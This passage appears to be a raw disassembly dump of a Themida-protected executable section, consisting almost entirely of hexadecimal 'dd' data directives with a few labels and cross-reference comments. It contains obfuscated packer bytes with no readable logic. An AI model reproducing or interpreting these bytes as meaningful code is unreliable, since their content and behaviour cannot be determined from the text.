0F3D40000h, 0C2DF4618h dd 0ECCA480Ch, 3E2865B9h, 5CAB744Ah, 6198589h, 0BB5F0607h dd 7745386Ah, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 265515C3h, 162C4B27h, 11E936h, 4CA10000h, 0DD10AB98h dd 4F3B0AC7h, 0E1ED7CC9h, 0FFFAEF44h, 71E3D95h, 0EE906h dd 0F3F40000h, 0F659D238h, 9B6F2262h, 0AFCA1D97h, 0E8B0Fh dd 8B600000h, 70D0D9Dh, 95958906h, 61060729h, 93D58D8Dh dd 0D1FF060Ah, 14E9h, 27028F00h, 6EEEC8E7h, 0CCB5EC86h dd 27CF5B1Eh, 0EC42F5EAh, 0BDBD83F1h, 1060719h, 0B2850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0F0AE0BC3h, 4897202Fh, 0DB1C58BBh, 0F5CDB313h dd 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0B4969CC3h, 0A9C8284Fh, 90F9E203h, 29ABF60h dd 50616931h, 0C13C08BFh, 6A9044h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 341821C3h, 95FFE04Eh dd 6070791h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 20C35646h, 0CB3D0AF9h, 0FC6B373h, 382h, 0DA8B6600h dd 0D1AE9h db 0 byte_581725 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0053CDD8o dd 815D0000h, 0B4F6BEDh, 45BD3106h, 0E8060722h, 9, 56392E53h dd 53E2F800h, 5BFB8B2Ch, 843F858Dh, 8D29060Ah, 60705D5h dd 89FB8B50h, 0FF642404h, 35h, 1AE78100h, 640D5805h, 2589h dd 12E90000h, 0F9000000h, 50667F4Dh, 70C19CE9h, 9ECC3576h dd 0DF8B1069h, 5985FFB1h, 6A06072Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 7292C350h dd 66FF6AC0h, 0B5FFFA8Bh, 60705D1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 87C35747h, 0B99E9C70h, 9D0B1B97h dd 6072145h, 286ABF57h, 0FF5B7AA2h, 72B8995h, 0F1E906h dd 95890000h, 6072625h, 8E800B0h, 90000000h, 0D3738BA4h dd 89DF939Ch, 70AA9BDh, 70E65B06h, 568CBB66h, 0BD8971E4h dd 60722B9h, 830F613Ch, 0BFh, 0CCD5D381h, 0B60F68B8h, 0E9BF66C8h dd 6BAE7h, 890F0000h, 3, 8BDEB70Fh, 0BDBD8BC1h, 6606071Ah dd 0E8C1FB8Bh, 0BD236004h, 6072331h, 18E28166h, 0F76661F0h dd 2DBD33E2h, 2B06072Bh, 2D9D8BC8h, 8B060729h, 498D29D1h dd 0E9060715h, 0 dd 28C1858Bh, 9D330607h, 6071AD5h, 0F507C083h, 8100C083h dd 8B655FEBh, 0FD03B4Fh, 0B83h, 0E19D8B00h, 0E906072Ah dd 3Fh, 20618D8Bh, 0DF8B0607h, 0F01E183h, 2E84h, 0EE900h dd 0DBB60000h, 0A10E7C14h, 0EE9A813Eh, 0C837B3A8h, 2061A583h dd 0BFFE0607h, 2C9FF206h, 28C19589h, 0BB660607h, 0E90CDCh dd 8D000000h, 0ACD7CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0F3EFD42h, 68Bh, 0FD8D8900h dd 89060707h, 721C585h, 6A006A06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 5B0C352h dd 0BD31A534h, 607263Dh, 0D6995FFh, 0BD8B0607h, 60722BDh dd 0D6AB9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 6D3AB33Dh, 78A66ECEh, 5E960E6h, 8C000000h dd 0AC2504E0h, 5CDDD381h, 8B616C55h, 72B35BDh, 0FCE18306h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 8C35141h dd 0FCF5AEB1h, 6860Fh, 8D890000h, 60721D5h, 0B8h, 618D8900h dd 2B060703h, 0ADDF8BD2h, 0E8D1C233h, 0E983D003h, 89F47504h dd 71FC595h, 12E906h, 9D880000h, 6171CC56h, 0C13A4FD6h dd 0BF7BF266h, 786099FDh, 880Dh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0FAD9DC88h dd 64EC2771h, 0D9BF0F9Ch, 1AD9958Bh, 8D8B0607h, 607101Dh dd 76F38166h, 0C28B50B2h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6658188Bh, 717EEF81h, 6ADEBF0Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0CEB9C352h dd 0E29BD83h, 0F000607h, 8F84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0BC63F9Ch dd 0ED4122B4h, 8D8903D4h, 60702EDh, 0B8h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0DFCAAD6Fh, 29B50966h, 8D060700h, 74B9B8Dh, 0E19D0106h dd 8906070Bh, 71A299Dh, 8BE1FF06h, 721A5BDh, 85896006h dd 607055Dh, 12E9h, 0F880AD00h, 0CA1F0462h, 0F6546C29h dd 3325B537h, 610B70ECh, 3305BD83h, 0F000607h, 3F084h dd 5BD8300h, 1060733h, 3FE840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 4C1A1CC3h dd 8BB4662Bh, 5E8D8h, 0A0FF0000h, 0E96FDFC9h, 0Fh, 0C0AFB946h dd 0C3EC74D5h, 0AC6A75FDh, 5F930976h, 3305BD83h, 0F030607h dd 37986h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 6A60E8h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 4DC226C3h, 0E10BB9DAh dd 8BD98C66h, 72659BDh, 4E18006h, 0E91BD8Bh, 0C90A0607h dd 103840Fh, 88B70000h, 2A1D858Bh, 0CB810607h, 2C6C101Fh dd 1AFD8533h, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 7C4E18C3h, 8EEDA308h, 89E8D016h dd 72E6D95h, 0B9609006h, 2184E99Eh, 0C88B6657h, 0E9506158h dd 7, 4D264B51h, 90B6FEF6h, 5D8D8960h, 60060718h, 1601B866h dd 6A6161h, 0A02D9768h, 0C6BF667Bh, 24348172h, 7BBF2E68h dd 95FF5B52h, 60709F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 5AC35747h, 89C24AF4h, 0DF8589B1h, 6A060AADh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0F1C6C350h, 14E9h, 5323BC00h, 0F59FDFFh dd 0EB35DFEFh, 0C0761524h, 16F73B12h, 1C8E95Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0EB8B9CC3h, 0D7858BA2h, 6A060AADh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 99FC356h dd 7287595h, 1800C706h, 89000000h, 712A595h, 0DBB58B06h dd 0E9060AADh, 0Ah, 0A2B8076h, 267DACA7h, 858BE2DFh, 6072BCDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BDC35747h dd 54664B11h, 830F9830h, 3, 89DFBF0Fh, 0FD9D8B06h, 8B060719h dd 72A1D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 66EFFDCDh, 755DF81h, 4689FBB7h, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 58353A2Bh, 14E883h, 0E94E0000h, 525EACB2h, 27121401h dd 8E289577h, 0F686A82Bh, 8166D001h, 5BE0B1CBh, 0FE8B6650h dd 9243489h, 701C5B5h, 0D7B5FF06h, 6A060AADh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0EAE6C351h, 43CBEDCEh, 10ED8D89h, 0DB680607h, 0F4883E3h dd 28Ch, 81FD8A00h, 0E0242434h, 0B589489Ch, 6071A31h, 0ADDF858Dh dd 0D98B060Ah, 14E850FCh, 0DF000000h, 10595475h, 0C2C1FEDBh dd 3110CF0Eh, 933AF115h, 5277075Dh, 850Fh, 5B5F0000h, 0E9240489h dd 0Dh, 0EBF114DEh, 0AA096F40h, 222BB820h, 0F995FFDEh dd 6A060709h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 42DEC352h, 6A61F807h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0AF58C353h, 0C28FDF29h, 281C1BDCh, 1F1DBD89h, 85C70607h dd 6073305h, 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 33C35343h, 423A8694h, 83BAB94Bh, 0AADDFBDh, 840F0006h dd 0Eh, 0C4DB589h, 0E9FC0607h, 1Dh, 3050F88Ah, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 6860F0Ch, 81000000h, 3FF9EFCBh, 5BD835Eh, 3060733h dd 4A3850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 1E94EBC3h, 0F43CD313h, 89276B84h dd 71B01BDh, 0BE806h, 6D9F0000h, 7EF19121h, 31990C49h dd 0BD835F3Ch, 60AADDFh, 5A840F00h, 6A000004h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 21E3C356h, 0E2B44B2Fh, 92E38166h, 0DFB5FF96h, 66060AADh dd 0FFA33BBBh, 7212995h, 0D3B58B06h, 81060AADh, 346689D7h dd 0D8BF0F60h, 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 113A7FC3h, 96D0C50Ah dd 0DE8h, 53B87800h, 883645A2h, 5239227Ch, 0E953BF22h dd 0Fh, 3CFA52A1h, 8C1E172Dh, 1F41A496h, 5FB59DA1h, 14E9505Fh dd 0F000000h, 360899D5h, 68D26195h, 4D1A3CCh, 0F27D6044h dd 96722AE0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 49C35343h, 0F98B51A6h, 0ADDFB5FFh, 6A060Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0D195A6C3h, 1E61A9A6h, 0A63EBBD6h, 95FF5E6Bh, 6070251h dd 0D3B58BF8h, 0E8060AADh, 12h, 85F3AFA2h, 0FBC4DB06h dd 1C22710Fh, 18057CA1h, 880F6798h, 6, 1AB59D8Bh, 8B5B0607h dd 712A185h, 0AE906h, 8DDB0000h, 867782F1h, 2148896Bh dd 0C48689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 54BFDCC3h, 15358D29h, 60520607h dd 890Fh, 9DB50000h, 958B5B61h, 6071AD9h, 0CABB6651h, 0C2835B7Ch dd 0C800F04h, 0E9000000h, 7, 162904E4h, 89E97309h, 6A2050h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 8CEFE6C3h, 0DFDBD8Bh, 858D0607h, 60AC170h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C3C35747h, 8EA6DC7Fh dd 8B58D89h, 85290607h, 60713FDh, 0B88689h, 0BD2B0000h dd 6071A59h, 8F0F006Ah, 0 dd 0ADDFB5FFh, 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 8FD21EC3h, 3FEFEF1Fh, 81665133h dd 5B8753C3h, 79195FFh, 0AE90607h, 0F3000000h, 98FD8CFBh dd 0BB918B52h, 8B66967Dh, 0DE8B50DEh, 56006A96h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 26D2BFEAh, 0C3E38FE6h, 0ADDFB5FFh, 6A060Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0E0FFA0C3h, 273A2D71h, 0FF7907EFh, 72D0995h, 63EB8106h dd 832D3248h, 714C1BDh, 840F0006h, 55h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 2DC35141h, 66275666h dd 0ACCACF81h, 7E950h, 0B4CF0000h, 3D2B9936h, 243489E2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 21C35646h dd 4ECC70Fh, 0DFB5FFF1h, 6A060AADh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FDDC355h dd 0BF66FEB7h, 95FF1DDDh, 6071F95h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0B5C35646h, 5E8A3h, 9A7E0000h dd 9E6B835h, 708F595h, 0B5FF5F06h, 60AADDFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 85C35141h, 0C55F5DDBh dd 18A5BD89h, 95FF0607h, 60702C1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0EAC35343h, 0C989CAFFh, 859D8B66h dd 8306070Bh, 72865BDh, 840F0206h, 75h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BFC35646h, 0B25049CAh dd 0D6CDEFADh, 0FCDBD89h, 89600607h, 71B6D95h, 0CE906h dd 98900000h, 7217916Fh, 4B45593h, 8B6126F9h, 70E6985h dd 91BD8906h, 0C606070Ch, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 9E9AD1C3h, 8BF5DFAFh dd 5185C7DFh, 6072Ah, 29000000h, 702B585h, 0F397E906h dd 8589FFFFh, 60725B9h, 6AC18Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0BB61BCC3h, 0FB8B66ADh dd 8DDA8B66h, 718B185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0AA5D1C9Eh, 0F0367D3Ch dd 870F1E87h, 6, 85D8D89h, 95890607h, 60718E9h, 24048950h dd 3CC28160h, 0F0DAF14h, 0FC61F3BFh, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7BCAE1C3h dd 7B0DAC17h, 664E0A60h, 6A4C0ABBh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 32EB3B76h dd 4F99D278h, 60858DC7h, 6A060B5Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0AA9FC356h dd 80AE1BE6h, 5EB7D933h, 8905C083h, 7049585h, 0DFB70F06h dd 0CE950h, 32F70000h, 0E3498F2Ch, 0C00DDB15h, 4892B03h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 35A07B4Dh, 0BCB8BBD6h, 0DA8BB2DAh, 0BF66006Ah dd 0BD8B2AF2h, 60705BDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 5742C7C3h, 1A59D8Bh dd 0FF5F0607h, 71E3D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 17783EDh, 25B58947h, 8D060707h dd 0A93D58Dh, 3DBD8B06h, 0FF06070Dh, 799529D1h, 83060720h dd 719BDBDh, 850F0106h, 4Fh, 188D8D89h, 26A0607h, 6C99D8Bh dd 0E9900607h, 0Ah, 0EAABBA23h, 0F26F6351h, 0BB50B78Ah dd 77A3FEE6h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0FF0C9F9Fh, 7079195h, 0D19D8B06h dd 0E9060729h, 0E99h dword_582624 dd 0E8h, 0ED815D00h, 60B5E6Ah, 6830Fh, 9D8B0000h, 6072AC1h ; DATA XREF: Themida_:0053CC54o dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 52C35040h dd 8B665709h, 3F858DDEh, 6A060A84h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0A37BC355h dd 4F7A44F6h, 8924341Eh, 7227DBDh, 0FB8B9006h, 810F50h dd 90000000h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 9BC35646h, 0E5C78166h, 35FF645Fh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0BBC35040h dd 77AD4AE1h, 2589647Bh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9CC35343h dd 2F5985FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 6542C4C3h, 76DE8A23h, 14E8h, 5EC27100h dd 0EC553BE8h, 670B1B2h, 1CCDADD8h, 662B4C1Ah, 459D2BB4h dd 5B060728h, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0B5FFCAC3h, 60712B5h, 0FE8h, 14460F00h dd 362F96F9h, 8DD03B2h, 2B001F9Ah, 8995FF5Fh, 0E906072Bh dd 12Fh, 1831BD8Bh, 0B00607h, 45BD8BF8h, 0E606071Fh, 0A1B58970h dd 0E406071Dh, 0FAB70F71h, 830F613Ch, 10Bh, 6013C780h dd 0DE953h, 1F9F0000h, 3CBD633Fh, 0D4DB763Eh, 5BE9FA21h dd 11E8h, 4CC1B00h, 0F642E7D1h, 56B100E5h, 4ADAE448h, 0B70FFBC8h dd 0F6158FFh, 0BD09C8B6h, 60729E9h, 6BAh, 31B7BB00h, 0C18B1ACBh dd 0C1F8BF0Fh, 66F904E8h, 8A0FE2F7h, 6, 0F199529h, 0C82B0607h dd 0BE8h, 0C1438F00h, 416A08CDh, 3B8311E5h, 8B5FFB8Bh dd 0DA8B66D1h, 15E9h, 10E900h, 78750000h, 0ED65AC4Fh, 7BB4A270h dd 2D0B45E9h, 858B8E3Ch, 6070745h, 0FE9h, 0C05FB200h, 0E78AC2A5h dd 0B24655B5h, 20E33EF3h, 0F07C083h, 0C083FBBFh, 61BD8B00h dd 3B060718h, 0C830FD0h, 1000000h, 71D95B5h, 3DE906h, 8BF50000h dd 709D98Dh, 8D858906h, 83060711h, 840F01E1h, 27h, 83A9EF80h dd 709D9A5h, 0BD8BFE06h, 6072059h, 3718D89h, 95890607h dd 6070745h, 15199D8Bh, 0E90607h, 8D000000h, 0ADCF3B5h dd 0CA8ABB06h, 6A3FACh, 4C1BD01h, 95FF0607h, 6070D69h dd 59823CBBh, 0BE919h, 0EEE00000h, 0F757016h, 0B28925CBh dd 0A12B98Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0A9EDD4C3h, 89D128BEh, 718FD85h dd 68C0F06h, 9000000h, 702819Dh, 0FCE18306h, 6AFCF8h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0D524ABC3h, 13E9CFA0h, 11000000h, 6817D796h, 0B4DB16DBh dd 9ED5E272h, 848D94B0h, 0BD8BC0A2h, 6070CBDh, 1FE58D89h dd 0B80607h, 0F000000h, 0D83h, 0D9816000h, 44859A6Ch, 34E38166h dd 0D22B61ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 80C35242h, 9E2DE5Eh, 0D23F4847h, 0D1BD8BA6h, 0E906071Ah dd 13h, 0A3B8E815h, 0F49F975Dh, 14DBB6F9h, 3EA10E7Ch, 8BEE9A81h dd 0C233ADFEh, 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 880D2DE3h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0AFC2C355h, 0FF26093h dd 288h, 8BCCB700h, 71AD995h, 14E906h, 3E380000h, 0B5485D5Ah dd 80893330h, 2B8B5C44h, 0DFEB86F7h, 8D8BC8D1h, 607101Dh dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0B744E9C3h, 5CFFEC70h, 0BE9F9h, 249C0000h, 0A84B5B4h dd 0E810B0DAh, 13E9EDh, 0AC5E0000h, 1A50218Ah, 0D0D2F998h dd 0F9B79314h, 0D61715A7h, 29BD83F5h, 6070Eh, 4C840Fh dd 0B80000h, 8D000000h, 74B9B8Dh, 319D2306h, 0FF06072Fh dd 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0EAD682B6h, 0F1ED6DEh, 688h, 11BD8B00h dd 29060713h, 7209D85h, 0CB816606h, 0BD835B92h, 6073305h dd 5B840F00h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0CF9FC357h, 2675C11Bh dd 5BD83C7h, 1060733h, 447840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0CB8176C3h dd 21B2B603h, 5E9h, 0C861EB00h, 0BD834FD8h, 6073305h, 0D8860F03h dd 0E9000003h, 0Bh, 328D82B7h, 1CA8B19Ah, 60ED1127h, 0D98C66F5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 30C35141h dd 23B1979Fh, 70D781F6h, 807C4EF3h, 6A04E1h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 531856C3h dd 0FC221182h, 199D89CFh, 66060728h, 0AD2B8BFh, 32840FC9h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0FDAC353h, 858BD8B7h, 6072A1Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 30C35343h dd 2571688Dh, 8B086BB7h, 714A9BDh, 0FD853306h, 0E906071Ah dd 5, 0D542D426h, 48950FEh, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 1CB31F83h dd 82457640h, 0F1BD8950h, 5F060707h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0F980B4C3h dd 9D8D89AAh, 2906070Dh, 70FD58Dh, 4E806h, 3FF0000h, 890F001Fh dd 6, 830Fh, 8B500000h, 24448BF9h, 66008B04h, 890088BFh dd 0E8042444h, 0Dh, 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h dd 52525070h, 56310F5Bh, 5B585A5Fh, 52D38158h, 0BB55C536h dd 73CE5C12h, 9F995FFh, 0BD8B0607h, 607109Dh, 0ADDF8589h dd 9D8B060Ah, 60721D5h, 1C2E9h, 1D9D2300h, 8906071Ah, 732558Dh dd 0D7858B06h, 33060AADh, 70C65BDh, 1800C706h, 8B000000h dd 0AADDBB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 424A74CBh, 66FA74BBh, 8B412FBFh dd 72BCD85h, 58A0F06h, 66000000h, 4AAEEB81h, 2FD98D89h dd 6890607h, 1B49BD8Bh, 858B0607h, 6072A1Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 64C35040h, 1427A904h dd 0E9044689h, 13h, 261D9BEDh, 264DD6FFh, 28F1F6Fh, 0EEC8E727h dd 96EC866Eh, 28B0Fh, 0DF8B0000h, 0DA8B6650h, 6890F96h dd 3000000h, 7123DBDh, 0D7B5FF06h, 6A060AADh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0C201C353h, 0DF8B66CEh, 4E8FCh, 3FF0000h, 12E8001Fh dd 0A3000000h, 0A850FFD0h, 0E8D690B5h, 83C27463h, 680FFCE2h dd 0F5250E3h, 14E831h, 0DD4F0000h, 0EC4410FCh, 0E5BD6273h dd 35181885h, 567D1CBEh, 5A5FDB6Ch, 60505F58h, 1DD4BE66h dd 2820Fh, 61600000h, 24448B61h, 0DABF6604h, 50008B68h dd 68A0F52h, 0F000000h, 85h, 50310F00h, 0FC9B352h, 0DE8B6631h dd 585A585Ah, 4244489h, 0FD9D8B58h, 8D060710h, 0AADDF85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 817C9491h, 5DCA7C7h, 0F539051h, 286h, 5F5B5600h dd 5B535750h, 8166905Fh, 8BDA0FC3h, 72355BDh, 0F995FF06h dd 0F060709h, 286h, 61FB8B00h, 2C999D23h, 85C70607h, 6073305h dd 3, 7E9B589h, 0BD830607h dd 60AADDFh, 58840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BA7FC350h dd 88535E4Fh, 4DE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 67BC13E1h, 91BD8B16h dd 0E906072Dh, 7, 286B9709h, 50F600F4h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E8052BC3h dd 0Ah, 9E72580Eh, 0C2AECD37h, 81667F85h, 5F431DCFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 3FC35242h, 83962596h dd 592AC196h, 0C2816660h, 8D29D8DEh, 60713B9h, 5BD8361h dd 3060733h, 4A1850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0B98BBAC3h, 0DC3E627Ah dd 39BB66B7h, 83FE8B47h, 0AADDFBDh, 840F0006h, 46Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 75C35141h, 7426501Dh dd 0FCED3927h, 0BE9h, 9A207C00h, 98AEC347h, 5A745B2Dh dd 26C780FCh, 0ADDFB5FFh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 3B910BC3h, 8B1C1A4Ch dd 71F91BDh, 3860F06h, 0F000000h, 95FFF8B7h, 6072129h dd 1AD19D8Bh, 0B58B0607h, 60AADD3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0D4C35343h, 0C4FB6B08h, 11E8A41Bh dd 2C000000h, 0D1F7ACA1h, 3C288310h, 4E8B917Bh, 1F1FBFCDh dd 30DBD8Bh, 535F0607h, 0E2D78166h, 6C75BC3h, 10001h, 2B6D9D8Bh dd 50960607h, 0CE852h, 0C5770000h, 9C20AEFBh, 8A86646Eh dd 6160C3C3h, 5A310F5Bh, 0BB665058h, 8996D7B3h, 70AD5B5h dd 0DFB5FF06h, 0FF060AADh, 7025195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0BDE184BAh dd 53DABFA2h, 0D99D89C4h, 8B060711h, 0AADD3B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0A7332619h, 12A1858Bh, 0BB660607h, 0BD093656h, 6070551h dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0A9C9CC3h, 0B1526E62h, 69E78166h dd 0D9958B4Dh, 0E906071Ah, 11h, 0FA9DC425h, 5478947Dh dd 0E79C6712h, 6977DB67h, 4C2832Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 96C35747h, 298D09A9h, 60060712h dd 8961D88Ah, 81662050h, 8DB80BC3h, 0AC17085h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0F0B1F8Bh, 48Fh, 68BB6600h, 0E1BD299Ah, 89060722h, 0B886h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0F9F6CE65h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 341572C3h dd 2B5804B5h, 70F0DBDh, 0EF816606h, 0B5FF3273h, 60AADDFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A8C35747h dd 0DD0458A0h, 73A8AE93h, 0DE85Eh, 0C3D10000h, 0BB0D6C50h dd 5FD72E09h, 0E9C8575Fh, 10h, 9D4D570Ah, 9ED98809h, 0E2D7FB2Ch dd 0A3E26888h, 9195FF5Fh, 6A060707h, 3E85000h, 20000000h dd 